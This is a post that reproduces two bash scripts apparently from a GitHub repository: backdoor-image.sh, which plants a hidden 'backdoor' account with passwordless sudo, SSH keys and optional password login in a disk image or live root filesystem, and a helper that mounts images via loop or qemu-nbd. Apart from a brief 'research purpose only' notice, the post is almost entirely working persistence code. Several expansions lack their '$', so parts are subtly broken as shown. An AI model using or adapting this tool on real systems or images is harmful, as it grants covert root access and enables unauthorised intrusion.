NOTICE : This post and script for research Purpose Only!
backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.
File lists:
+ backdoor-image.sh add a ‘backdoor’ user to a image or filesystem at ‘target’
+ mount-callback-umount : mount a file to a temporary mount point and then invoke the provided cmd with args, the temporary mountpoint will be put in an a environment variable named MOUNTPOINT
Usage:
git clone https://github.com/Crazykev/backdoor-image && cd backdoor-image chmod +x backdoor-image.sh chmod +x mount-callback-umount
backdoor-image.sh Script:
#!/bin/bash
VERBOSITY=0
TEMP_D=""
DEFAULT_USER="backdoor"
error() { echo "$@" 1>&2; }
Usage() {
cat <<EOF
Usage: ${0##*/} [ options ] target
add a 'backdoor' user to a image or filesystem at 'target'
options:
--import-id U use 'ssh-import-id' to get ssh public keys
may be used more than once.
--force required to operate on / filesystem
--password P set password P, implies --password-auth
--password-auth enable password auth
--pubkeys F add public keys from file 'F'
default: ~/.ssh/id_rsa.pub unless --password
or --import-id specified
--user U use user 'U' (default: '${DEFAULT_USER}')
EOF
}
bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}"
}
debug() {
local level=${1}; shift;
[ "${level}" -gt "${VERBOSITY}" ] && return
error "${@}"
}
mod_sshd_bool() {
local cfg="$1" kn="$2" target="$3" dry=${4:-false}
local ws=$' \t' msg=""
local match="^\([#]\{0,1\}\)[#$ws]*$kn\([$ws]\+\)\(yes\|no\)"
local cur="" hsh="#"
cur=$(sed -n "s/$match/\1\3/p" "$cfg") ||
{ error "failed to read $cfg"; return 1; }
if [ -n "$cur" ]; then
case "$cur" in
"#$target") msg="uncommenting, '$target' line";;
"#*") msg="uncommenting, changing '{cur#$hsh}' to '$target'";;
"$target") msg="nochange";;
"*") msg="changing '$cur' to '$target'";;
esac
if [ "$msg" = "nochange" ]; then
debug 1 "no change to $cfg necessary"
else
debug 1 "updating $cfg: $msg"
$dry && return
sed -i "s/$match/$kn\2${target}/" "$cfg" ||
{ error "failed to update $cfg"; return 1; }
fi
else
debug 1 "appending entry for '$kn $target' to $cfg"
$dry && return
echo "$kn $target" >> "$cfg" ||
{ error "failed to append entry to $cfg"; return 1; }
fi
return 0
}
test_mod_sshd_cfg() {
local kn="PasswordAuthentication"
echo "#$kn yes" > f1
echo "#$kn no" > f2
echo "$kn yes" > f3
echo "$kn no" > f4
: > f5
for f in f1 f2 f3 f4 f5; do
mod_sshd_bool "$f" PasswordAuthentication yes true
done
}
add_group_ent() {
local group="$1" gid="$2" fgroup="$3" dry="${4:-false}"
local grent="$group:x:$gid:"
if grep -q "^$group:" "$fgroup"; then
debug 1 "remove $group from group file"
$dry || sed -i "/^$group:/d" "$fgroup" ||
{ error "failed to remove user from group"; return 1; }
fi
debug 1 "append entry to group: $grent"
if ! $dry; then
echo "$grent" >> "$fgroup" ||
{ error "failed to update group file"; return 1; }
fi
return 0
}
add_passwd_ent() {
local user="$1" uid="$2" gid="$3" home="$4" fpasswd="$5" dry=${6:-false}
if grep -q "^$user:" "$fpasswd"; then
debug 1 "remove $user from password file"
$dry || sed -i "/^$user:/d" "$fpasswd" ||
{ error "failed to remove user from password file"; return 1; }
fi
local pwent="$user:x:$uid:$gid:backdoor:$home:/bin/bash"
debug 1 "append entry to passwd: $pwent"
if ! $dry; then
echo "$pwent" >> "$fpasswd" ||
{ error "failed to update passwd file"; return 1; }
fi
}
encrypt_pass() {
local pass="$1" fmt="${2-\$6\$}"
enc=$(echo "$pass" |
perl -e '
$p=<STDIN>; chomp($p);
$salt = join "", map { (q(a)..q(z))[rand(26)] } 1 .. 8;
if (${ARGV[0]}) { $salt = "${ARGV[0]}$salt\$"; }
print crypt($p, "$salt") . "\n";' "$fmt") || return
[ -n "${enc}" ] && [ -z "${fmt}" -o "${enc#${fmt}}" != "${fmt}" ] &&
_RET="$enc"
}
add_shadow_ent() {
local user="$1" pass="$2" fshadow="$3" dry="$4"
local encrypt_pre="\$6\$" shent="" encpass="" pwchange=""
# if input was '$6$' format, just use it verbatum
if [ "${pass#${encrypt_pre}}" != "${pass}" ]; then
debug 1 "using encrypted password from cmdline"
encpass="$pass"
else
encrypt_pass "$pass" && encpass="$_RET" ||
{ error "failed to encrypt password"; return 1; }
fi
# pwchange is number of days since 1970
pwchange=$(($(date +"(%Y-1970)*365 + 10#%j")))
shent="$user:$encpass:$pwchange:0:99999:7:::"
if grep -q "^$user:" "$fshadow"; then
debug 1 "remove $user from shadow file"
$dry || sed -i "/^$user:/d" "$fshadow" ||
{ error "failed to remove user from shadow"; return 1; }
fi
debug 1 "append entry to shadow: $shent"
if ! $dry; then
echo "$shent" >> "$fshadow" ||
{ error "failed to update shadow file"; return 1; }
fi
return 0
}
add_sudo_ent() {
local user="$1" mp="$2" dry="$3"
local target="/etc/sudoers.d/99-$user"
local ent="$user ALL=(ALL) NOPASSWD:ALL"
local start="#BACKDOOR_START_${user}"
local end="#BACKDOOR_end_${user}"
local content=$(printf "%s\n%s\n%s\n" "$start" "$ent" "$end")
if [ -f "$mp/etc/lsb-release" ] &&
grep -i lucid -q "$mp/etc/lsb-release"; then
target="/etc/sudoers"
debug 2 "$mp does not seem to support sudoers.d"
debug 1 "add sudoers ($mp,$target): $ent"
if grep -q "^$start$" "$mp/$target"; then
debug 2 "removing $user entry from $target"
if ! $dry; then
sed -i "/^${start}$/,/^${end}$/d" "$target" ||
{ error "failed update $target"; return 1; }
fi
fi
if ! $dry; then
( umask 226 && echo "$content" >> "$mp/$target" ) ||
{ error "failed to add sudoers entry to $target"; return 1; }
fi
else
debug 1 "add sudoers ($mp,$target): $ent"
if ! $dry; then
rm -f "$mp/$target" &&
( umask 226 && echo "$content" > "$mp/$target" ) ||
{ error "failed to add sudoers entry to $target"; return 1; }
fi
fi
}
add_user() {
local user="$1" pass="$2" uid="$3" gid="$4" home="$5"
local rootd="$6" dry="${7:-false}"
local fpasswd="$rootd/etc/passwd" fshadow="$rootd/etc/shadow"
local fgroup="$rootd/etc/group"
[ -f "$fpasswd" ] || { error "no password file"; return 1; }
[ -f "$fshadow" ] || { error "no shadow file"; return 1; }
[ -f "$fgroup" ] || { error "no group file"; return 1; }
local group="$user" f="" t=""
add_passwd_ent "$user" "$uid" "$gid" "$home" "$fpasswd" "$dry" || return 1
add_group_ent "$group" "$gid" "$fgroup" "$dry" || return 1
add_shadow_ent "$user" "$pass" "$fshadow" "$dry" || return 1
debug 1 "create $rootd/home/$user"
if ! $dry; then
mkdir -p "$rootd/home/$user" &&
chown $uid:$gid "$rootd/home/$user" ||
{ error "failed to make home dir"; return 1; }
for f in "$rootd/etc/skel/".* "$rootd/etc/skel/"*; do
[ -e "$f" ] || continue
t="$rootd/home/$user/${f##*/}"
[ ! -e "$t" ] || continue
cp -a "$f" "$t" && chown -R "$uid:$gid" "$t" ||
{ error "failed to copy $f to $t"; return 1; }
done
fi
}
add_user_keys() {
local keys="$1" dir="$2" ownership="$3" dry="${4:-false}"
debug 1 "add ssh keys to $dir with $ownership"
$dry && return
mkdir -p "$dir" &&
cp "$keys" "$dir/authorized_keys" &&
chmod 600 "$dir/authorized_keys" &&
chown "$ownership" "$dir" "$dir/authorized_keys" &&
chmod 700 "$dir" ||
{ error "failed to add user keys"; return 1; }
if [ $VERBOSITY -ge 1 ]; then
debug 1 "added ssh keys:"
sed "s,^,| ," "$keys"
fi
}
gen_ssh_keys() {
local mp="$1" types="${2:-rsa}" dry="${3:-false}"
local ktype="" file="" ftmpl="/etc/ssh/ssh_host_%s_key" out=""
for ktype in $types; do
file=${ftmpl//%s/$ktype}
if [ -f "$mp/$file" ]; then
debug 2 "existing key for $mp/$file"
continue
fi
debug 1 "ssh-keygen -t $ktype -N '' -f '$file' -C backdoor"
$dry && continue
out=$(ssh-keygen -t "$ktype" -N '' -f "$mp/$file" -C backdoor 2>&1) || {
error "$out"
error "failed generate keytype $ktype";
return 1;
}
out=$(ssh-keygen -l -f "$mp/$file")
debug 1 "$out"
done
}
apply_changes() {
local mp="$1" user="$2" password="$3" pwauth="$4" pubkeys="$5"
local dry="${6:-false}"
local home="/home/$user" key=""
local uid="9999" gid="9999"
local sshcfg="$mp/etc/ssh/sshd_config"
[ -f "$sshcfg" ] ||
{ error "$sshcfg did no exist"; return 1; }
key="PubkeyAuthentication"
mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
{ error "failed to set $key to yes"; return 1; }
if $pwauth; then
key="PasswordAuthentication"
mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
{ error "failed to set $key to yes"; return 1; }
fi
gen_ssh_keys "$mp" "rsa" "$dry" || return 1
add_user "$user" "$password" "$uid" "$gid" "$home" "$mp" "$dry" || return 1
[ -z "$pubkeys" ] ||
add_user_keys "$pubkeys" "$mp/$home/.ssh" "$uid:$gid" || return 1
add_sudo_ent "$user" "$mp" "$dry" || return 1
}
main() {
short_opts="hv"
long_opts="help,dry-run,force,import-id:,password:,password-auth,pubkeys:,user:,verbose"
getopt_out=$(getopt --name "${0##*/}" \
--options "{short_opts}" --long "${long_opts}" -- "$@") &&
eval set -- "${getopt_out}" ||
bad_Usage
local user="" password="" pwauth=false pubkeys="" import_ids="" dry=false
local target="" pkfile="" force=false
user="${DEFAULT_USER}"
local args=""
args=( "$@" )
unset args[${#args[@]}-1]
while [ $# -ne 0 ]; do
cur=${1}; next=${2};
case "$cur" in
-h|--help) Usage ; exit 0;;
--dry-run) dry=true;;
--force) force=true;;
--import-id)
import_ids="${import_ids:+${import_ids} }$next";
shift;;
--password) password=$next; shift;;
--password-auth) pwauth=true;;
--pubkeys) pubkeys=$next; shift;;
--user) user=$next; shift;;
-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
--) shift; break;;
esac
shift;
done
[ $# -ne 0 ] || { bad_Usage "must provide image"; return 1; }
[ $# -ge 2 ] && { bad_Usage "too many arguments: $*"; return 1; }
[ "$(id -u)" = "0" ] ||
{ error "sorry, must be root"; return 1; }
target="$1"
if [ -d "$target" ]; then
if [ "$target" -ef "/" ] && ! $force; then
error "you must specify --force to operate on /"
return 1
fi
elif [ -f "$target" ]; then
local vopt="" mcu="mount-callback-umount"
if [ ${VERBOSITY} -ge 2 ]; then
vopt="-v"
fi
if ! command -v "$mcu" >/dev/null 2>&1; then
if [ -x "${0%/*}/$mcu" ]; then
PATH="${0%/*}:$PATH"
elif command -v "mount-image-callback" >/dev/null 2>&1; then
mcu="mount-image-callback"
else
error "No '$mcu' or 'mount-image-callback' in PATH"
return 1
fi
fi
exec "$mcu" $vopt -- "$target" "$0" "${args[@]}" _MOUNTPOINT_
else
[ -f "$target" ] || { error "$target: not a file"; return 1; }
fi
if [ -n "$password" ] && ! which perl >/dev/null 2>&1; then
{ error "perl required for making password"; return 1; }
pwauth=true
fi
{ [ -z "$import_ids" ] || which ssh-import-id >/dev/null 2>&1; } ||
{ error "you do not have ssh-import-id"; return 1; }
TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
{ error "failed to make tempdir"; return 1; }
trap cleanup EXIT
pkfile="${TEMP_D}/pubkeys"
if [ -z "$password" -a -z "$pubkeys" -a -z "$import_ids" ]; then
[ -f ~/.ssh/id_rsa.pub ] || {
error "must specify one of --password, --pubkeys, --import-id"
error "either pass an argument or create ~/.ssh/id_rsa.pub"
return 1
}
debug 1 "set pubkeys to ~/.ssh/id_rsa.pub"
pubkeys=$(echo ~/.ssh/id_rsa.pub)
fi
if [ -n "$pubkeys" ]; then
cp "$pubkeys" "$pkfile" ||
{ error "failed to copy $pubkeys"; return 1; }
fi
if [ -n "$import_ids" ]; then
ssh-import-id --output "$pkfile.i" ${import_ids} &&
cat "$pkfile.i" >> "$pkfile" ||
{ error "failed to import ssh users: $import_ids"; return 1; }
fi
[ -f "$pkfile" ] || pkfile=""
apply_changes "$target" "$user" "$password" "$pwauth" "$pkfile"
[ $? -eq 0 ] || { error "failed to apply changes"; return 1; }
error "added user '$user' to $target"
[ -n "$password" ] && error "set password to $password."
$pwauth && error "enabled password auth" ||
error "did not enable password auth"
[ -n "$pubkeys" ] && error "added pubkeys from $pubkeys."
[ -n "$import_ids" ] && error "imported ssh keys for $import_ids"
return 0
}
main "$@"
# vi: ts=4 noexpandtabmount-callback-umount Script:
#!/bin/bash
VERBOSITY=0
TEMP_D=""
UMOUNT=""
QEMU_DISCONNECT=""
error() { echo "$@" 1>&2; }
Usage() {
cat <<EOF
Usage: ${0##*/} [ options ] file cmd [ args ]
mount a file to a temporary mount point and then
invoke the provided cmd with args
the temporary mountpoint will be put in an a environment variable
named MOUNTPOINT.
if any of the arguments are the literal string '_MOUNTPOINT_', then
they will be replaced with the mount point. Example:
${0##*/} my.img chroot _MOUNTPOINT_ /bin/sh
options:
-v | --verbose increase verbosity
--read-only use read-only mount.
-p | --proc bind mount /proc
-s | --sys bind mount /sys
-d | --dev bind mount /dev
--system-mounts bind mount /sys, /proc, /dev
--system-resolvconf copy host's resolvconf into /etc/resolvconf
EOF
}
# umount_r(mp) : unmount any filesystems under r
# this is useful to unmount a chroot that had sys, proc ... mounted
umount_r() {
local p
for p in "$@"; do
[ -n "$p" ] || continue
tac /proc/mounts | sh -c '
p=$1
while read s mp t opt a b ; do
[ "${mp}" = "${p}" -o "${mp#${p}/}" != "${mp}" ] ||
continue
umount "$mp" || exit 1
done
exit 0' umount_r "${p%/}"
[ $? -eq 0 ] || return
done
}
bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
if [ -n "$UMOUNT" ]; then
umount_r "$UMOUNT" ||
error "WARNING: unmounting filesystems failed!"
fi
if [ -n "$QEMU_DISCONNECT" ]; then
local out=""
out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) || {
error "warning: failed: qemu-nbd --disconnect $QEMU_DISCONNECT"
error "$out"
}
fi
[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] ||
rm --one-file-system -Rf "${TEMP_D}" ||
error "removal of temp dir failed!"
}
debug() {
local level="$1"; shift;
[ "${level}" -gt "${VERBOSITY}" ] && return
error "${@}"
}
mount_callback_umount() {
local img_in="$1" dev="" out="" mp="" ret="" img="" ro=""
local opts="" bmounts="" system_resolvconf=false
short_opts="dhpsv"
long_opts="dev,help,proc,read-only,sys,system-mounts,system-resolvconf,verbose"
getopt_out=$(getopt --name "${0##*/}" \
--options "{short_opts}" --long "${long_opts}" -- "$@") &&
eval set -- "${getopt_out}" ||
{ bad_Usage; return 1; }
while [ $# -ne 0 ]; do
cur=${1}; next=${2};
case "$cur" in
-d|--dev) bmounts="${bmounts:+${bmounts} /dev}";;
-h|--help) Usage ; exit 0;;
-p|--proc) bmounts="${bmounts:+${bmounts} /proc}";;
-s|--sys) bmounts="${bmounts:+${bmounts} /sys}";;
--system-mounts) bmounts="/dev /proc /sys";;
--system-resolvconf) system_resolvconf=true;;
-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
--opts) opts="${opts} $next"; shift;;
--read-only) ro="ro";;
--) shift; break;;
esac
shift;
done
[ $# -ge 2 ] || { bad_Usage "must provide image and cmd"; return 1; }
[ -n "$ro" ] && $system_resolvconf && {
error "--read-only is incompatible with system-resolvconf";
return 1;
}
img_in="$1"
shift 1
img=$(readlink -f "$img_in") ||
{ error "failed to get full path to $img_in"; return 1; }
[ "$(id -u)" = "0" ] ||
{ error "sorry, must be root"; return 1; }
TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
{ error "failed to make tempdir"; return 1; }
trap cleanup EXIT
mp="${TEMP_D}/mp"
mkdir "$mp" || return
local cmd="" arg="" found=false
cmd=( )
for arg in "$@"; do
if [ "${arg}" = "_MOUNTPOINT_" ]; then
debug 1 "replaced string _MOUNTPOINT_ in arguments arg ${#cmd[@]}"
arg=$mp
fi
cmd[${#cmd[@]}]="$arg"
done
if [ "{cmd[0]##*/}" = "bash" -o "{cmd[0]##*/}" = "sh" ] &&
[ ${#cmd[@]} -eq 0 ]; then
debug 1 "invoking shell {cmd[0]}"
error "MOUNTPOINT=$mp"
fi
local hasqemu=false
command -v "qemu-nbd" >/dev/null 2>&1 && hasqemu=true
if out=$(set -f; mount -o loop{ro:+,$ro} $opts \
"$img" "$mp" 2>&1); then
debug 1 "mounted simple filesystem image '$img_in'"
UMOUNT="$mp"
else
if ! $hasqemu; then
error "simple mount of '$img_in' failed."
error "if this not a raw image, or it is partitioned"
error "you must have qemu-nbd (apt-get install qemu-utils)"
error "mount failed with: $out"
return 1
fi
fi
if [ -z "$UMOUNT" ]; then
if [ ! -e /sys/block/nbd0 ] && ! grep -q nbd /proc/modules; then
debug 1 "trying to load nbd module"
modprobe nbd >/dev/null 2>&1
udevadm settle >/dev/null 2>&1
fi
[ -e /sys/block/nbd0 ] || {
error "no nbd kernel support, but simple mount failed"
return 1;
}
local f nbd=""
for f in /sys/block/nbd*; do
[ -d "$f" -a ! -f "$f/pid" ] && nbd=${f##*/} && break
done
if [ -z "$nbd" ]; then
error "failed to find an nbd device"
return 1;
fi
nbd="/dev/$nbd"
if ! qemu-nbd --connect "$nbd" "$img"; then
error "failed to qemu-nbd connect $img to $nbd"
return 1
fi
QEMU_DISCONNECT="$nbd"
local pfile="/sys/block/${nbd#/dev/}/pid"
if [ ! -f "$pfile" ]; then
debug 1 "waiting on pidfile for $nbd in $pfile"
local i=0
while [ ! -f "$pfile" ] && i=$(($i+1)); do
if [ $i -eq 200 ]; then
error "giving up on pidfile $pfile for $nbd"
return 1
fi
sleep .1
debug 2 "."
done
fi
debug 1 "connected $img_in to $nbd. now udev-settling"
udevadm settle >/dev/null 2>&1
local mdev="$nbd"
if [ -b "${nbd}p1" ]; then
mdev="${nbd}p1"
fi
if ( set -f; mount {ro:+-o ${ro}} $opts "$mdev" "$mp" ) &&
UMOUNT="$mp"; then
debug 1 "mounted $mdev via qemu-nbd $nbd"
else
local pid="" pfile="/sys/block/${nbd#/dev/}/pid"
{ read pid < "$pfile" ; } >/dev/null 2>&1
[ -n "$pid" -a ! -d "/proc/$pid" ] ||
error "qemu-nbd process seems to have died. was '$pid'"
qemu-nbd --disconnect "$nbd" && QEMU_DISCONNECT=""
error "failed to mount $mdev"
return 1
fi
fi
local bindmp=""
for bindmp in $bmounts; do
[ -d "$mp${bindmp}" ] || mkdir "$mp${bindmp}" ||
{ error "failed mkdir $bindmp in mount"; return 1; }
mount --bind "$bindmp" "$mp/${bindmp}" ||
{ error "failed bind mount '$bindmp'"; return 1; }
done
if ${system_resolvconf}; then
local rcf="$mp/etc/resolv.conf"
debug 1 "replacing /etc/resolvconf"
if [ -e "$rcf" -o -L "$rcf" ]; then
local trcf="$rcf.${0##*/}.$$"
rm -f "$trcf" &&
mv "$rcf" "$trcf" && ORIG_RESOLVCONF="$trcf" ||
{ error "failed mv $rcf"; return 1; }
fi
cp "/etc/resolv.conf" "$rcf" ||
{ error "failed copy /etc/resolv.conf"; return 1; }
fi
debug 1 "invoking: MOUNTPOINT=$mp" "{cmd[@]}"
MOUNTPOINT="$mp" "{cmd[@]}"
ret=$?
if ${system_resolvconf}; then
local rcf="$mp/etc/resolv.conf"
cmp --quiet "/etc/resolv.conf" "$rcf" >/dev/null ||
error "WARN: /etc/resolv.conf changed in image!"
rm "$rcf" &&
{ [ -z "$ORIG_RESOLVCONF" ] || mv "$ORIG_RESOLVCONF" "$rcf"; } ||
{ error "failed to restore /etc/resolv.conf"; return 1; }
fi
debug 1 "cmd returned $ret. unmounting $mp"
umount_r "$mp" || { error "failed umount $img"; return 1; }
UMOUNT=""
rmdir "$mp"
if [ -n "$QEMU_DISCONNECT" ]; then
local out=""
out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) &&
QEMU_DISCONNECT="" || {
error "failed to disconnect $QEMU_DISCONNECT";
error "$out"
return 1;
}
fi
return $ret
}
mount_callback_umount "$@"
# vi: ts=4 noexpandtabSource : https://github.com/Crazykev

